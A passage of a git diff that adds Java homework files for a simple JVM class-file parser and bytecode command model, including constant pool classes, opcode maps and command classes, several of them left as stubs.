new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/attr/LocalVariableTable.java b/group24/Homework/8-EighthWeek/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..14db5dca46
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/attr/LocalVariableTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/attr/StackMapTable.java b/group24/Homework/8-EighthWeek/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/clz/AccessFlag.java b/group24/Homework/8-EighthWeek/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/clz/ClassFile.java b/group24/Homework/8-EighthWeek/clz/ClassFile.java
new file mode 100644
index 0000000000..2a8dfb6123
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/clz/ClassFile.java
@@ -0,0 +1,102 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/clz/ClassIndex.java b/group24/Homework/8-EighthWeek/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/cmd/BiPushCmd.java b/group24/Homework/8-EighthWeek/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..1f60641d2d
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/BiPushCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java b/group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..e48d4e38f7
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java
@@ -0,0 +1,130 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/CommandParser.java b/group24/Homework/8-EighthWeek/cmd/CommandParser.java
new file mode 100644
index 0000000000..2bb36340f5
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java b/group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..c771d535f7
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+	
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java b/group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6876c36bb
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java b/group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..8d60e72341
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java b/group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..a1f2d1a1c6
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+	}
+
+	
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/LdcCmd.java b/group24/Homework/8-EighthWeek/cmd/LdcCmd.java
new file mode 100644
index 0000000000..1669aa3900
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/LdcCmd.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+	
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java b/group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..caa2609928
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+	
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java b/group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..c3cda9b52e
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java b/group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java b/group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..dc31cf084d
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+
+}
diff --git a/group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java b/group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/constant/ClassInfo.java b/group24/Homework/8-EighthWeek/constant/ClassInfo.java
new file mode 100644
index 0000000000..c8e65ff493
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/constant/ConstantInfo.java b/group24/Homework/8-EighthWeek/constant/ConstantInfo.java
new file mode 100644
index 0000000000..88353df2d3
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/constant/ConstantPool.java b/group24/Homework/8-EighthWeek/constant/ConstantPool.java
new file mode 100644
index 0000000000..7130eb3a9f
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group24/Homework/8-EighthWeek/constant/FieldRefInfo.java b/group24/Homework/8-EighthWeek/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ae71396ef
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/constant/MethodRefInfo.java b/group24/Homework/8-EighthWeek/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..036e6d9055
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
